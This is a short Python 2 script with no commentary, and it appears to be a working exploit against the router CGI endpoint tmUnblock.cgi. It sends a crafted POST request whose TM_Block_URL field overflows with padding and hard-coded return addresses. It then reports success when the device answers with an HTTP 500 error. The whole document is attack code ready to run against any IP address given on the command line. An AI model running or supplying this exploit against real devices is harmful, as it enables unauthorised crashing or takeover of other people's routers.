import
sys
import
urllib2
try
:
target
=
sys.argv[
1
]
except
IndexError:
print
"Usage: %s <target ip>"
%
sys.argv[
0
]
sys.exit(
1
)
url
=
target
+
'/cgi-bin/tmUnblock.cgi'
if
'://'
not
in
url:
url
=
'http://'
+
url
post_data
=
"period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL="
post_data
+
=
"B"
*
246
post_data
+
=
"\x81\x54\x4A\xF0"
post_data
+
=
"\x80\x31\xF6\x34"
post_data
+
=
"C"
*
0x28
post_data
+
=
"D"
*
4
post_data
+
=
"\x80\x34\x71\xB8"
post_data
+
=
"E"
*
8
for
i
in
range
(
0
,
4
):
post_data
+
=
"F"
*
4
post_data
+
=
"G"
*
4
post_data
+
=
"\x80\x34\x71\xB8"
post_data
+
=
"H"
*
(
4
-
(
3
*
(i
/
3
)))
try
:
req
=
urllib2.Request(url, post_data)
res
=
urllib2.urlopen(req)
except
urllib2.HTTPError as e:
if
e.code
=
=
500
:
print
"OK"
else
:
print
"Received unexpected server response:"
,
str
(e)
except
KeyboardInterrupt:
pass